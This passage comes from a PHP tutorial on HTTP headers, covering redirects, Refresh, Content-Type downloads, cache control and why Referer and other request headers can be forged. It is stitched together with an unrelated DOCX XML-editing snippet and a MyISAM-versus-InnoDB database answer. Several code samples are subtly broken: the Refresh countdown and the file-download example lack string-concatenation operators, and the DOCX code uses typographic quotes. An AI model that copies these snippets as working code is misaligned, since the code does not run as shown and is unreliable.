has gone to a new location. In the best case, this uses system resources unnecessarily. In the worst case, you may perform tasks that
you never meant to. Consider the code below:


<?php 

//Redirect users with access level below 4

if (check_access_level($username) < 4){

  header('Location: http://www.mysite.com/someotherpage.php');

}

//Mail users with higher access level the secret code

mail_secret_code($username);

echo 'The secret email is on its way!';

?>

Unauthorized users are indeed redirected, but in fact, they too will receive the email, because the script continues to run.
To avoid this, the part for authorized users could be wrapped in an else{} statement, but it is cleaner and easier
to call exit immediately after the header command to end the execution of the script:


<?php 

//Redirect users with access level below 4

if (check_access_level($username) < 4){

  header('Location: http://www.mysite.com/someotherpage.php');

  exit; 
//stop script execution

}

//Mail users with higher access level the secret code

mail_secret_code($username);

echo 
'The secret email is on its way!';

?>

Redirecting with the Refresh header

The Refresh redirects users like the Location header does, but you can add a delay before the user
is redirected. For example, the following code would redirect the user to a new page after displaying the current one for 10
seconds:


<?php 

header
('Refresh: 10; url=http://www.mysite.com/otherpage.php');

echo 
'You will be redirected in 10 seconds';

?>

Another common application is to force a page to update repeatedly by ‘redirecting’ to the current page (see the second
‘conversation’ above). For example, here is a simple page that will ‘count’ down from 10, with a 3 second
pause between numbers:


<?php 

if(!isset($_GET['n'])){

    
$_GET['n'] = 10;

}

if($_GET['n'] > 0){

  
header('Refresh: 3; url=' $_SERVER['PHP_SELF'].'?n=' . ($_GET['n']-1)  );

  echo $_GET['n'];

}

else{

  echo 
'BLAST OFF!';

}

?>

Note: If the refresh time is set to 0, then the Refresh header is
effectively the same as the Location header.

Serving different types of files and generating dynamic content using the Content-Type header

The Content-Type header tells the browser what type of data the server is about to send. Using this header, you can
have your PHP scripts output anything from plain text files to images or zip files. The table below lists frequently-used
MIME types:

You can do several interesting things with this. For example, perhaps you want to send the user a pre-formatted text file
rather than HTML:


<?php 

header
('Content-Type: text/plain');

echo 
$plain_text_content;

?>

Or perhaps you’d like to prompt the user to download the file, rather than viewing it in the browser. With the help of the
Content-Disposition header, it’s easy to do, and you can even suggest a file name for the user to use:


<?php 

header
('Content-Type: application/octet-stream');

header('Content-Disposition: attachment; '

       
.'filename="plain_text_file.txt"');

echo 
$plain_text_content;

?>

Maybe you need to serve a file for download, but you’d like to obscure its true location and name, and only serve it to users
who are logged in:


<?php 

if($b_is_logged_in){

   
header('Content-Type: application/octet-stream');

   
header('Content-Disposition: attachment; ' 

           .'filename="'.$different_filename.'"');

   
readfile('/path/to/files/' $filename);

}

else{

   echo 
'You are not authorized to view this file';

}

?>

Perhaps you’ve dynamically generated an image using PHP’s image functions and you want to display it to the user. You could create a file build_image.php like this

Common MIME types
Type Description
text/html HTML (PHP default)
text/plain Plain Text
image/gif GIF Image
image/jpeg JPEG Image
image/png PNG Image
video/mpeg MPEG Video
audio/wav WAV Audio
audio/mpeg MP3 Audio
video/mov
video/quicktime
Quicktime Video
video/x-ms-wmv Windows WMV video
audio/x-ms-wma Windows WMA audio
audio/x-realaudio RealPlayer Audio/Video (.rm)
audio/x-pn-realaudio RealPlayer Audio/Video (.ram)
video/x-msvideo
video/avi
AVI Video
application/pdf PDF Document
application/msword MS Word .doc file
application/zip Zip File
application/octet-stream Misc. data. Use to force download or open with application.*
x-foo/x-bar Misc. data. Use to force download ot open with application.*

<?php 

   
//build the image above

   
header('Content-Type: image/jpeg');

   
imagejpeg($image_resouce);

?>


Note: Beware of magic_quotes!
PHP’s automatic escaping of special characters with a backslash may seem like a good idea at first, but most good programmers
generally agree that it (a) encourages sloppy programming that does not validate input and (b) causes
annoyances in well-written code that would not occur if “magic quoting” were turned off. One such annoyance is
the corruption of binary data. In the example above, if
magic_quotes_runtime
is on, the data that readfile() outputs may have backslashes added to it, thus
corrupting the file that is sent to the user. Ideally, you should turn magic_quotes_runtime off in your
php.ini file to avoid this, but if you do not have access to the configuration file, you can also use the
set_magic_quotes_runtime() function
(pass is the 0 (zero) integer) to turn the setting off.

Happily, the minutes of a recent
PHP Developer meeting show that they have decided to abandon magic quotes in future versions (6+) of PHP. Until
everyone upgrades, however, keeping the problems this feature can cause in mind can save you quite a bit of
trouble and frustration.

You might pass the parameters necessary to generate the image via the URL so you can access them in the $_GET array.
Then in another page, you might include this image using an img tag:


<img src="build_image.php<?php echo "?$user_id&amp;$caption"?>">

The possibilities are more or less endless. The more PHP programming you do, the more you will find that the Content-Type
header truly is your friend.

Note: The way that browser are supposed to handle content of various MIME types, and the way they actually do
may not always be consistent (especially with Internet Explorer), so you’re well-advised to test your pages in the browsers
you need to support to make sure they behave as expected. The PHP Manual has many helpful tips in the
user-contributed
comments
on the header() page.

Preventing Page Caching

PHP pages often generate very dynamic content, and to prevent users from missing updates by viewing cached pages, it is
often helpful to be able to tell browsers not to cache certain pages. The following snippet works quite well on the
browsers that are likely to visit your site:


<?php

header
('Cache-Control: no-cache, no-store, must-revalidate'); //HTTP/1.1

header('Expires: Sun, 01 Jul 2005 00:00:00 GMT');

header('Pragma: no-cache'); //HTTP/1.0

?> 

The Expires header can be any date in the past. As with MIME types, browsers (especially older ones) may not
always listen properly to your caching instructions (although most modern ones will).

Other Applications

There are other ways you can use headers as well, such as setting the
HTTP Response Code, or in performing
HTTP Authentication (if you are running PHP as an Apache module).
Now that you understand how header() works and how to use it, you’ll be able to do all sorts of things you
might not have thought of before.

Request Headers in PHP

We’ve covered some of the things you can do with response headers above. We can also get a great deal of information
from the request headers received by the server from the browser. There are two ways to access these. First, many of the
values in the $_SERVER array are determined from the
request headers. Second, if PHP is installed as an Apache module, then
apache_request_headers() will return an
array of all request headers (even those not in $_SERVER).

Security first: don’t trust request headers

Since request headers are set by the browser, which is controlled by the client, you must never trust request
headers for information that is important to the security of your site
. A good example is the
$_SERVER['HTTP_REFERER'] variable, which should hold the URL of the page that referred the
user to the current one. A common mistake among beginners is to think that they can use this to make sure
that users only access pages through a certain path, and that they therefore do not need to
worry about server side data validation. For example,
consider this code, which attempts to make sure that data has been submitted from a specific page, rather
than a custom form on another website:


<?php

 
if($_SERVER['HTTP_REFERER'] != 'http://www.mysite.com/myform.html'){

   
header('Refresh: 5; url=http://www.mysite.com/myform.html');

   echo 
'You must use the form on my site...redirecting now.';

 }

 else{

   insert_data($_POST['var1'], $_POST['var2']);

 }

?> 

This might work to deter an unsophisticated hacker who is using his web browser to submit data through a custom form, but someone
who is a little more savvy could easily submit data via a telnet session like we did above, including the request header

Referer: http://www.mysite.com/myform.html

and easily defeat this ‘protection’. The moral of the story is: use HTTP request headers to gather statistics and to help make
the user experience more pleasant — most request headers you receive will be supplied by standard browsers and will be
entirely truthful…But do not rely on request headers for any issues pertaining to security.

Using HTTP request headers

There are several things you can do with these. Using $_SERVER['HTTP_USER_AGENT'] you can detect the type of browser
the user says it has. You might check the $_SERVER['HTTP_ACCEPT_LANGUAGE'] (perhaps along with $_SERVER['HTTP_ACCEPT_CHARSET'] and some
IP address geolocation) to help determine the
best language in which to serve your pages to a given user.
Although $_SERVER['HTTP_REFERER'] is not reliable for security
purposes, it could be useful as an aid for building statistics about your website traffic or customizing content to
match the path the user took to reach a given page. If for some reason you want to manipulate the raw query string used when
the page was accessed, you can look in $_SERVER['QUERY_STRING']. Looking in $_SERVER['REQUEST_METHOD'] will
tell you whether your page was accessed via GET or POST. There’s quite a bit of information there for
you to find creative uses for.

HTML Meta Tag HTTP Header Equivalents

Chances are, before reading this article, you have seen or used the HTML meta tag below to redirect a user:

<meta http-equiv="refresh" content="0;http://www.mysite.com/somepage.html" />

Look familiar? The ‘http-equiv’ meta tags are ‘equivalent’ to HTTP response headers, and were introduced so that people
writing HTML pages without server side programming would have access to the powerful functionality described above. Using these
meta tags is simple: they can be placed anywhere in the <head> of the document, and their http-equiv
attribute contains the header name, while the content attribute contains the value for the header.

I’ve found that these, like the HTTP headers in general, often produce confusion, but now they should seem quite simple to you.
Although I usually prefer to use the PHP header() function, these meta tag HTTP header equivalents are often very handy
for things like specifying the character set. For example, I often use this is my HTML pages (and sometimes my PHP ones):

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
Note: Support for HTTP headers as equivalet meta tags is not uniformally supported, so it is usually safer and
faster to use the headers themselves if you can. Also, it should be obvious that some headers and values will not work as meta
equivalents: you cannot set the Content-Type to image/png when the real headers have been sent and the
browser is already reading the HTML 😉

Conclusion

Now that you are done with this article, you should have a pretty firm grasp of how HTTP works, how request and response headers
are used, and how you can employ this functionality in your programming. This reasonably detailed knowledge should also enable
you to start thinking more critically about your web application efficiency and security. I hope that as you move forward with your
programming, you will find that you’ve become quite comfortable working with HTTP headers, and that you are able to exploit them to
make your job easier and your pages better.

As a parting thought, remember that headers are like words: they convey information and ask for certain actions to be performed,
but by themselves they don’t force anything to happen. 99.9% of the time, cooperative browsers are talking to cooperative servers,
and everything happens smoothly. But you have to remember that, as in life, every once in a while you’ll run across a jerk
(a hacker), or someone who’s got his own way of doing things (Internet Explorer). Web development is very much a job of customer
service, so you’ve got to do your best to keep the crooks out, and accomodate the customers with ‘special needs.’ 😉

Zipped DOCX XML parse and delete commented block

$filename = ‘demo_ms_word.docx’;
$ext = end(explode(‘.’, $filename));
//if its docx file
if($ext == ‘docx’)
{
$dataFile = “word/document.xml”;
}
else
{
die(‘Wrong File’);
}

//Create a new ZIP archive object
$zip = new ZipArchive;

// Open the archive file
if (true === $zip->open($filename)) {
// If successful, search for the data file in the archive
if (($index = $zip->locateName($dataFile)) !== false) {
// Index found! Now read it to a string
$text = $zip->getFromIndex($index);

$document = new DOMDocument();
$document->loadXML($text);
$xpath = new DOMXPath($document);

// Find the DIV with ID “some-div”.
$remove_elements = array();
$notfoundOnSameNode = true;

//From Condition Query found what elemenet need to delete
$tagToDelete = ‘tbl’;

$node = $xpath->query(‘//w:’.$tagToDelete.'[descendant::w:commentRangeStart[@w:id=”2″]]’)->item(0);
$remove_elements[] = $node;

if($node->getElementsByTagName(‘w:commentRangeEnd’))
{
$notfoundOnSameNode = false;
}

if($notfoundOnSameNode)
{
while ($node = $node->nextSibling) {
$remove_elements[] = $node;
//echo $node->nodeName;
//echo $node->nodeValue;
// Skip stuff like “#text” elements which cause problems.
if($node->getElementsByTagName(‘w:commentRangeEnd’))
{
break;
}
continue;
}
}

//Delete all remove elmenets from docx
foreach ($remove_elements as $element) {
$element->parentNode->removeChild($element);
}

$final_xml = $document->saveXML();

$zip->deleteName($dataFile);
//Write the new…
$zip->addFromString($dataFile, $final_xml);
}
//Close the archive file
$zip->close();
}

What’s the difference between MyISAM and InnoDB ?

The main differences between InnoDB and MyISAM (“with respect to designing a table or database” you asked about) are support for “referential integrity” and “transactions”.

If you need the database to enforce foreign key constraints, or you need the database to support transactions (i.e. changes made by two or more DML operations handled as single unit of work, with all of the changes either applied, or all the changes reverted) then you would choose the InnoDB engine, since these features are absent from the MyISAM engine.

Those are the two biggest differences. Another big difference is concurrency. With MyISAM, a DML statement will obtain an exclusive lock on the table, and while that lock is held, no other session can perform a SELECT or a DML operation on the table.

Those two specific engines you asked about (InnoDB and MyISAM) have different design goals. MySQL also has other storage engines, with their own design goals.

So, in choosing between InnoDB and MyISAM, the first step is in determining if you need the features provided by InnoDB. If not, then MyISAM is up for consideration.

A more detailed discussion of differences is rather impractical (in this forum) absent a more detailed discussion of the problem space… how the application will use the database, how many tables, size of the tables, the transaction load, volumes of select, insert, updates, concurrency requirements, replication features, etc.


The logical design of the database should be centered around data analysis and user requirements; the choice to use a relational database would come later, and even later would the the choice of MySQL as a relational database management system, and then the selection of a storage engine for each table.